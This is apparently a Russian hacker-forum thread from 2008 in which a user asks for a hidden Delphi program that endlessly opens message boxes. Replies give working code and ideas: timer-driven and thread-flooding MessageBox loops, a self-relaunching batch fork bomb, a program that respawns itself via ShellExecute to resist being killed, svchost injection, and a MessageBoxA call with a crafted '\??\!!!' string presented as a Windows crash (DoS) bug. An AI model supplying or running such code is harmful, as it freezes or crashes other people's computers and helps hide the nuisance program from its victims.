Просмотр полной версии : [Delphi] Вывести много MessageBox'ов
Уважаемы, античатовцы.
Прошу помочь с написанием, программы. При запуски, которой будут бесконечно открываться окна с заданным текстом. У меня получилось написать только на открытия окна, и при нажатии “окей” открывается новое, а надо, чтобы постоянно открывались окна. Желательно чтобы в процессах программа не отображалась.
Пока написал только это:
“form1.Hide;
while true do showmessage('ТЕКСТ');” (на дельфи).
Заранее огромное вам спасибо.
Ergoproxy
30.06.2008, 21:57
бесконечный цикл тебе в помощь))
Так я знаю, может выложите исходник? :)
0verbreaK
30.06.2008, 22:32
Все дело в функции - она отображается не более одного раза, создай собственный диалог и в цикле ShowWindow(SW_SHOW,..)
ToniKapuchon
30.06.2008, 22:34
в событии formcreate что-ли ставишь свой цикл! мошешь sleep понаписывать!!и всё! невидимость в процесах описаана в книге "Делфи глазами хацкера"
De-visible
01.07.2008, 22:51
Прошу помочь с написанием,
============
Так я знаю, может выложите исходник?
Ты оп ределись чего хочешь, помощи в написании, или готовый код....
Выложи, что сделал глянем что именно у тебя не получается...ну или в ПМ....
самое простое написать батник, в котором прописать запуск какойнить проги и этогоже батника, оператива в миг заканчивается)))
вообще юзай типа потоков или таймера.
А если заюзаешь мультимедийный таймер то окошек будет просто ппц. потому что он вызает обработчик, но недожидается окончание его исполнения и в этоге накапливается огромное число сообщений у тебя. главное со скоростью не переборщить
а так этого хватит
procedure TimerProc(wnd:hwnd;uMsg,idEvent:uint;dwTime:DWORD) ;
begin
MessageBox(0, 'HEllo', 'Hello', MB_ICONWARNING or MB_OK);
end;
settimer(0,1,1000,@TimerProc);// 1000 - повторить через 1000 мс = 1 с
JuliaSmit
07.07.2008, 01:36
Procedure Mess;
begin
MessageBox(0,'Good','Fucking',0);
end;
Procedure FuckingUserMessages;
var
Tr:Cardinal;
begin
While True do
begin
CreateThread(nil,0,@Mess,nil,0,Tr);
Sleep(1);
end;
end;
2 JuliaSmit o_O ТОгда комп стопорнется быстрее чем вылетят окошки
дак вы прежде чем выдать другое окошко
напишите чё нить в таком духе типо
i:=0;
while i<10000 do
inc(i);
и будет вам задержка времени))))
2 Irdis А мож человеку нужно просто окнами забить, а не загрузить проц на 100% обычным циклом.
P.S. to Irdis для таких целей служит апишка sleep ;)
BlackSun
07.07.2008, 15:19
На кой вам VCL чтобы MessageBox'ами закидать? изврашенцы? выкидывай весь код, оставляй в uses тока Windows; и лудше не с одной проги закидывать, просто сделай цыкл скажем в 100 сообшений и потом ShellExecute самого себя - в процессах будет дохера процессов - 2 зайца сразу - сложнее избавится и скрывать процесс ненадо
2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения.
Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY*
P.S. Господи админ и его помошники апостолы(модераторы), пора закрыть тему, ибо сие переростает во флуд. Аминь.
BlackSun
07.07.2008, 15:36
2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения.
1й пост, "form1.Hide;" :)
Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY*
Зачем мучатся ..
program Msg;
{$IMAGEBASE $200}
procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
external 'user32.dll' name 'MessageBoxA';
var
Bug: PChar;
I: Integer;
begin
Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
for i := 0 to 50 do
MessageBox(0, Bug, Bug, $20000);
end.
2 BlackSun ну тут дело было в алгоритме, а не в реализации.
Зато на VCL по твоему методы через SH - будет хоооороший груз.
А вдруг винда уже пропатчена? и тогда твой медот доса непокатит
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot